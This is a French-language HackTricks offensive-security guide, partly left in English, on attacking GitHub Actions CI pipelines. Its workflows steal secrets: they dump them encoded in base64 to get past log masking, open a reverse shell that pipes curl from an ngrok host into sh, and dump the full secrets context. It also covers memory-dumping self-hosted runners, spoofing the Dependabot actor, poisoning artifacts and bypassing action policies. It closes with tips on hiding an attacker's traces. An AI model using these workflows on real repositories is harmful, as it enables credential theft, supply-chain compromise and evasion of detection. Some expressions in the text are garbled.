Abuser de Github Actions
Reading time: 24 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Outils
Les outils suivants sont utiles pour trouver des Github Action workflows et mĂȘme en dĂ©tecter des vulnĂ©rables :
- https://github.com/CycodeLabs/raven
- https://github.com/praetorian-inc/gato
- https://github.com/AdnaneKhan/Gato-X
- https://github.com/carlospolop/PurplePanda
- https://github.com/zizmorcore/zizmor - Vérifiez aussi sa checklist sur https://docs.zizmor.sh/audits
Informations de base
Sur cette page, vous trouverez :
- Un résumé de tous les impacts d'un attaquant parvenant à accéder à une Github Action
- Différentes façons de obtenir l'accÚs à une action :
- Disposer des permissions pour créer l'action
- Abuser des triggers liés aux pull request
- Abuser d'autres techniques d'accĂšs externe
- Pivoting depuis un repo déjà compromis
- Enfin, une section sur les post-exploitation techniques pour abuser d'une action depuis l'intérieur (causer les impacts mentionnés)
Résumé des impacts
For an introduction about Github Actions check the basic information.
Si vous pouvez exĂ©cuter du code arbitraire dans GitHub Actions au sein d'un repository, vous pourriez ĂȘtre en mesure de :
- Voler des secrets montés dans le pipeline et abuser des privilÚges du pipeline pour obtenir un accÚs non autorisé à des plateformes externes, telles que AWS et GCP.
- Compromettre des déploiements et d'autres artefacts.
- Si le pipeline déploie ou stocke des assets, vous pourriez altérer le produit final, permettant une supply chain attack.
- Exécuter du code dans des custom workers pour abuser de la puissance de calcul et pivoter vers d'autres systÚmes.
- Ăcraser le code du repository, selon les permissions associĂ©es au
GITHUB_TOKEN.
GITHUB_TOKEN
Ce "secret" (provenant de ${{ secrets.GITHUB_TOKEN }} et ${{ github.token }}) est fourni lorsque l'admin active cette option :
.png)
Ce token est le mĂȘme que celui qu'une Github Application will use, il peut donc accĂ©der aux mĂȘmes endpoints : https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
warning
Github devrait publier un flow qui permet l'accÚs inter-dépÎts au sein de GitHub, ainsi un repo peut accéder à d'autres repos internes en utilisant le GITHUB_TOKEN.
Vous pouvez voir les permissions possibles de ce token sur : https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
Notez que le token expire une fois le job terminé.
Ces tokens ressemblent Ă ceci : ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
Quelques actions intéressantes que vous pouvez faire avec ce token :
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
caution
Notez que, à plusieurs reprises, vous pourrez trouver github user tokens inside Github Actions envs or in the secrets. Ces tokens peuvent vous donner davantage de privilÚges sur le dépÎt et l'organisation.
Lister les secrets dans la sortie de Github Action
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Obtenir un reverse shell avec des secrets
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Il est possible de vérifier les permissions accordées à un Github Token dans les repositories d'autres utilisateurs en vérifiant les logs des actions :
.png)
Exécution autorisée
note
Ce serait la maniÚre la plus simple de compromettre les Github actions, car ce cas suppose que vous avez accÚs pour créer un nouveau repo dans l'organisation, ou que vous avez des privilÚges d'écriture sur un repository.
Si vous ĂȘtes dans ce scĂ©nario vous pouvez juste check the Post Exploitation techniques.
Exécution depuis la création d'un repo
Dans le cas oĂč les membres d'une organisation peuvent crĂ©er de nouveaux repos et que vous pouvez exĂ©cuter des Github actions, vous pouvez crĂ©er un nouveau repo et voler les secrets dĂ©finis au niveau de l'organisation.
Exécution depuis une nouvelle branche
Si vous pouvez créer une nouvelle branche dans un repository qui contient déjà une Github Action configurée, vous pouvez la modifier, uploader le contenu, et ensuite exécuter cette action depuis la nouvelle branche. De cette façon vous pouvez exfiltrate repository and organization level secrets (mais vous devez savoir comment ils sont appelés).
warning
Toute restriction implĂ©mentĂ©e uniquement dans le workflow YAML (par exemple, on: push: branches: [main], job conditionals, ou manual gates) peut ĂȘtre Ă©ditĂ©e par des collaborateurs. Sans enforcement externe (branch protections, protected environments, and protected tags), un contributeur peut retarget a workflow to run on their branch and abuse mounted secrets/permissions.
Vous pouvez rendre l'action modifiée exécutable manuellement, lorsque une PR est créée ou lorsque du code est poussé (selon le niveau de bruit que vous voulez générer) :
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
Exécution forkée
note
Il existe diffĂ©rents dĂ©clencheurs qui peuvent permettre Ă un attaquant d'exĂ©cuter une Github Action d'un autre repository. Si ces actions dĂ©clenchables sont mal configurĂ©es, un attaquant pourrait ĂȘtre en mesure de les compromettre.
pull_request
Le trigger de workflow pull_request exécutera le workflow à chaque fois qu'une pull request est reçue, avec quelques exceptions : par défaut, si c'est la premiÚre fois que vous contribuez, un maintainer devra approuver la run du workflow :
.png)
note
Comme la limitation par défaut s'applique aux contributeurs pour la premiÚre fois, vous pourriez contribuer en corrigeant un bug/typo valide puis envoyer d'autres PRs pour abuser de vos nouvelles privileges pull_request.
J'ai testé ceci et ça ne fonctionne pas : Une autre option serait de créer un compte avec le nom de quelqu'un qui a contribué au projet puis de supprimer son compte.
De plus, par dĂ©faut cela empĂȘche les write permissions et l'accĂšs aux secrets du repository cible comme indiquĂ© dans les docs :
With the exception of
GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. TheGITHUB_TOKENhas read-only permissions in pull requests from forked repositories.
Un attaquant pourrait modifier la définition de la Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler des secrets ni écraser le repo à cause des limitations mentionnées.
caution
Oui, si l'attaquant modifie dans la PR la Github Action qui sera déclenchée, sa Github Action sera celle utilisée et non celle du repo d'origine !
Comme l'attaquant contrĂŽle aussi le code exĂ©cutĂ©, mĂȘme s'il n'y a pas de secrets ou de write permissions sur le GITHUB_TOKEN, un attaquant pourrait par exemple uploader des artifacts malveillants.
pull_request_target
Le trigger de workflow pull_request_target dispose de write permission sur le repository cible et d'accĂšs aux secrets (et ne demande pas d'autorisation).
Notez que le trigger de workflow pull_request_target s'exécute dans le contexte base et non dans celui fourni par la PR (afin de ne pas exécuter de code non fiable). Pour plus d'infos sur pull_request_target consultez les docs.
De plus, pour plus d'infos sur cet usage spécifiquement dangereux, consultez ce github blog post.
On pourrait penser que parce que le workflow exĂ©cutĂ© est celui dĂ©fini dans la base et non dans la PR, il est sĂ»r d'utiliser pull_request_target, mais il existe quelques cas oĂč ce n'est pas le cas.
Et celui-ci aura accĂšs aux secrets.
workflow_run
Le trigger workflow_run permet d'exécuter un workflow depuis un autre lorsque celui-ci est completed, requested ou in_progress.
Dans cet exemple, un workflow est configuré pour s'exécuter aprÚs l'achÚvement du workflow séparé "Run Tests" :
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
De plus, selon la documentation : le workflow dĂ©marrĂ© par l'Ă©vĂ©nement workflow_run peut accĂ©der aux secrets et aux tokens d'Ă©criture, mĂȘme si le workflow prĂ©cĂ©dent ne le pouvait pas.
Ce type de workflow peut ĂȘtre attaquĂ© s'il dĂ©pend d'un workflow qui peut ĂȘtre dĂ©clenchĂ© par un utilisateur externe via pull_request ou pull_request_target. Quelques exemples vulnĂ©rables peuvent ĂȘtre found this blog. Le premier consiste en un workflow dĂ©clenchĂ© par workflow_run qui tĂ©lĂ©charge le code de l'attaquant : ${{ github.event.pull_request.head.sha }}
Le second consiste à passer un artifact provenant du code non fiable vers le workflow workflow_run et à utiliser le contenu de cet artifact d'une maniÚre qui le rend vulnérable à une RCE.
workflow_call
Ă FAIRE
à FAIRE : vérifier si, lorsqu'il est exécuté depuis un pull_request, le code utilisé/téléchargé est celui de l'origin ou celui du PR forké
Abusing Forked Execution
Nous avons mentionnĂ© toutes les façons dont un attaquant externe pourrait parvenir Ă faire exĂ©cuter un workflow github ; voyons maintenant comment ces exĂ©cutions, si mal configurĂ©es, peuvent ĂȘtre abusĂ©es :
Exécution de checkout non fiable
Dans le cas de pull_request, le workflow va s'exécuter dans le contexte de la PR (donc il exécutera le code malveillant de la PR), mais quelqu'un doit l'autoriser au préalable et il s'exécutera avec certaines limitations.
Dans le cas d'un workflow utilisant pull_request_target ou workflow_run qui dĂ©pend d'un workflow pouvant ĂȘtre dĂ©clenchĂ© depuis pull_request_target ou pull_request, le code du repo original sera exĂ©cutĂ©, donc l'attaquant ne peut pas contrĂŽler le code exĂ©cutĂ©.
caution
Cependant, si l'action effectue un checkout PR explicite qui va rĂ©cupĂ©rer le code depuis la PR (et non depuis la base), elle utilisera le code contrĂŽlĂ© par l'attaquant. Par exemple (vĂ©rifiez la ligne 12 oĂč le code de la PR est tĂ©lĂ©chargĂ©) :
# INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
Le code potentiellement non fiable est exécuté pendant npm install ou npm build puisque les scripts de build et les packages référencés sont contrÎlés par l'auteur de la PR.
warning
Une dork GitHub pour rechercher des actions vulnĂ©rables est : event.pull_request pull_request_target extension:yml ; cependant, il existe diffĂ©rentes façons de configurer les jobs pour qu'ils s'exĂ©cutent de façon sĂ©curisĂ©e mĂȘme si l'action est configurĂ©e de maniĂšre non sĂ©curisĂ©e (par exemple en utilisant des conditionnels sur qui est l'actor gĂ©nĂ©rant la PR).
Context Script Injections
Notez qu'il existe certains github contexts dont les valeurs sont contrÎlées par l'utilisateur créant la PR. Si l'action github utilise ces données pour exécuter quoi que ce soit, cela peut conduire à une exécution de code arbitraire :
Gh Actions - Context Script Injections
GITHUB_ENV Script Injection
D'aprÚs la documentation : vous pouvez rendre une variable d'environnement disponible pour toutes les étapes suivantes d'un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement GITHUB_ENV.
Si un attaquant pouvait injecter n'importe quelle valeur dans cette variable d'environnement, il pourrait injecter des variables d'environnement qui exécuteraient du code dans les étapes suivantes, comme LD_PRELOAD ou NODE_OPTIONS.
Par exemple (this et this), imaginez un workflow qui fait confiance à un artifact uploadé pour stocker son contenu dans la variable d'environnement GITHUB_ENV. Un attaquant pourrait uploader quelque chose comme ceci pour le compromettre :
.png)
Dependabot and other trusted bots
Comme indiqué dans this blog post, plusieurs organisations ont une Github Action qui merge toute PR provenant de dependabot[bot] comme dans :
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
Ce qui pose problÚme car le champ github.actor contient l'utilisateur qui a provoqué le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons de faire en sorte que l'utilisateur dependabot[bot] modifie un PR. Par exemple :
- Fork the victim repository
- Add the malicious payload to your copy
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs
@dependabot recreate - Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes
dependabot[bot]the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
Moving on, what if instead of merging the Github Action would have a command injection like in:
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
Bon, le billet original propose deux options pour abuser ce comportement, la seconde étant :
- Créez un fork du dépÎt victime et activez Dependabot avec une dépendance obsolÚte.
- Créez une nouvelle branche avec le malicious shell injeciton code.
- Changez la branche par défaut du dépÎt pour celle-ci
- Créez une PR depuis cette branche vers le dépÎt victime.
- Exécutez
@dependabot mergedans la PR que Dependabot a ouverte dans son fork. - Dependabot fusionnera ses modifications dans la branche par défaut de votre dépÎt forké, mettant à jour la PR dans le dépÎt victime, faisant maintenant du
dependabot[bot]l'acteur du dernier événement qui a déclenché le workflow et utilisant un nom de branche malveillant.
Github Actions tierces vulnérables
dawidd6/action-download-artifact
Comme mentionnĂ© dans this blog post, cette Github Action permet d'accĂ©der aux artifacts de diffĂ©rents workflows et mĂȘme de dĂ©pĂŽts.
Le problĂšme est que si le paramĂštre path n'est pas dĂ©fini, l'artifact est extrait dans le rĂ©pertoire courant et il peut Ă©craser des fichiers qui pourraient ensuite ĂȘtre utilisĂ©s ou mĂȘme exĂ©cutĂ©s dans le workflow. Par consĂ©quent, si l'Artifact est vulnĂ©rable, un attaquant pourrait abuser de cela pour compromettre d'autres workflows faisant confiance Ă l'Artifact.
Example of vulnerable workflow:
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
Cela pourrait ĂȘtre attaquĂ© avec ce workflow :
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
Autres accĂšs externes
Deleted Namespace Repo Hijacking
If an account changes it's name another user could register an account with that name after some time. If a repository had less than 100 stars previously to the change of name, Github will allow the new register user with the same name to create a repository with the same name as the one deleted.
caution
Donc, si une action utilise un repo provenant d'un compte inexistant, il reste possible qu'un attaquant crée ce compte et compromette l'action.
If other repositories where using dependencies from this user repos, an attacker will be able to hijack them Here you have a more complete explanation: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/
Repo Pivoting
note
Dans cette section nous parlerons des techniques qui permettent de pivot from one repo to another en supposant que nous avons un certain accÚs au premier (voir la section précédente).
Cache Poisoning
A cache is maintained between wokflow runs in the same branch. Which means that if an attacker compromise a package that is then stored in the cache and downloaded and executed by a more privileged workflow he will be able to compromise also that workflow.
Artifact Poisoning
Workflows could use artifacts from other workflows and even repos, if an attacker manages to compromise the Github Action that uploads an artifact that is later used by another workflow he could compromise the other workflows:
Gh Actions - Artifact Poisoning
Post Exploitation from an Action
Github Action Policies Bypass
As commented in this blog post, even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (git clone) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, the action will be executed without any restriction.
Exemple:
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout
- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat
- run: ls && pwd
- run: ls tmp/checkout
Accéder à AWS, Azure et GCP via OIDC
Check the following pages:
Accéder aux secrets
Si vous injectez du contenu dans un script, il est utile de savoir comment accéder aux secrets :
- Si le secret ou le token est dĂ©fini dans une variable d'environnement, il peut ĂȘtre accĂ©dĂ© directement via l'environnement en utilisant
printenv.
Lister les secrets dans la sortie de Github Action
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Obtenir un reverse shell avec des secrets
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- Si le secret est utilisé directement dans une expression, le script shell généré est stocké sur le disque et est accessible.
-
cat /home/runner/work/_temp/*
- Pour les JavaScript actions, les secrets sont envoyés via des variables d'environnement
- ```bash
ps axe | grep node
- Pour une custom action, le risque peut varier selon la façon dont un programme utilise le secret obtenu depuis l'argument :
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
- ĂnumĂ©rer tous les secrets via le secrets context (niveau collaborateur). Un contributeur avec accĂšs en Ă©criture peut modifier un workflow sur n'importe quelle branche pour vidanger tous les repository/org/environment secrets. Utilisez double base64 pour contourner le masquage des logs de GitHub et dĂ©coder localement :
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
Décoder localement :
echo "ZXdv...Zz09" | base64 -d | base64 -d
Astuce : pour la discrétion pendant les tests, chiffrer avant d'afficher (openssl est préinstallé sur GitHub-hosted runners).
Abuser des Self-hosted runners
La façon de trouver quelles Github Actions are being executed in non-github infrastructure est de rechercher runs-on: self-hosted dans le yaml de configuration de l'action GitHub.
Self-hosted runners peuvent avoir accĂšs Ă des informations sensibles supplĂ©mentaires, Ă d'autres systĂšmes rĂ©seau (endpoints vulnĂ©rables dans le rĂ©seau ? metadata service ?) ou, mĂȘme s'ils sont isolĂ©s et dĂ©truits, plus d'une action peut ĂȘtre exĂ©cutĂ©e en mĂȘme temps et l'action malveillante pourrait voler les secrets de l'autre.
Dans les self-hosted runners il est aussi possible d'obtenir les secrets from the _Runner.Listener_** process** which will contain all the secrets of the workflows at any step by dumping its memory:
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
Check this post for more information.
Github Registre d'images Docker
Il est possible de créer des Github actions qui vont build and store a Docker image inside Github.
Un exemple se trouve dans l'élément déroulant suivant :
Github Action â Build & Push d'une image Docker
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
Comme vous avez pu le voir dans le code précédent, le registre Github est hébergé sur ghcr.io.
Un utilisateur disposant de permissions de lecture sur le repo pourra alors télécharger l'image Docker en utilisant un personal access token:
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
Ensuite, l'utilisateur pourrait rechercher leaked secrets in the Docker image layers:
Informations sensibles dans les logs de Github Actions
MĂȘme si Github tente de dĂ©tecter les valeurs secrĂštes dans les logs des actions et d'Ă©viter de les afficher, d'autres donnĂ©es sensibles pouvant avoir Ă©tĂ© gĂ©nĂ©rĂ©es lors de l'exĂ©cution de l'action ne seront pas masquĂ©es. Par exemple, un JWT signĂ© avec une valeur secrĂšte ne sera pas masquĂ© Ă moins qu'il soit spĂ©cifiquement configurĂ©.
Masquer vos traces
(Technique from here) Tout d'abord, toute PR ouverte est clairement visible par le public sur Github et par le compte GitHub ciblé. Sur GitHub, par défaut, nous ne pouvons pas supprimer une PR de l'internet, mais il y a une astuce. Pour les comptes Github qui sont suspendus par Github, toutes leurs PRs sont automatiquement supprimées et retirées de l'internet. Donc, pour masquer votre activité, vous devez soit faire suspendre votre GitHub account soit faire signaler votre compte. Cela masquerait toutes vos activités sur GitHub depuis l'internet (supprimant essentiellement toutes vos exploit PR)
Une organisation sur GitHub est trĂšs proactive pour signaler des comptes Ă GitHub. Il vous suffit de partager âsome stuffâ dans un Issue et ils s'assureront que votre compte soit suspendu en 12 hours :p et voilĂ , votre exploit devient invisible sur github.
warning
Le seul moyen pour une organisation de savoir qu'elle a été ciblée est de vérifier les GitHub logs depuis le SIEM, car depuis l'UI GitHub la PR serait supprimée.
Références
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks Cloud